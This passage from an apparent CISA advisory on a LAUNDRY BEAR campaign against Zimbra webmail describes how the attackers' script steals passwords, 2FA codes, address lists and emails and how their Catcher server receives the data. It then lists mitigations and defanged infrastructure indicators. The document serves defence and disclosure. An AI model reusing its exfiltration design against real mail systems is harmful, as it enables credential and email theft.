<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
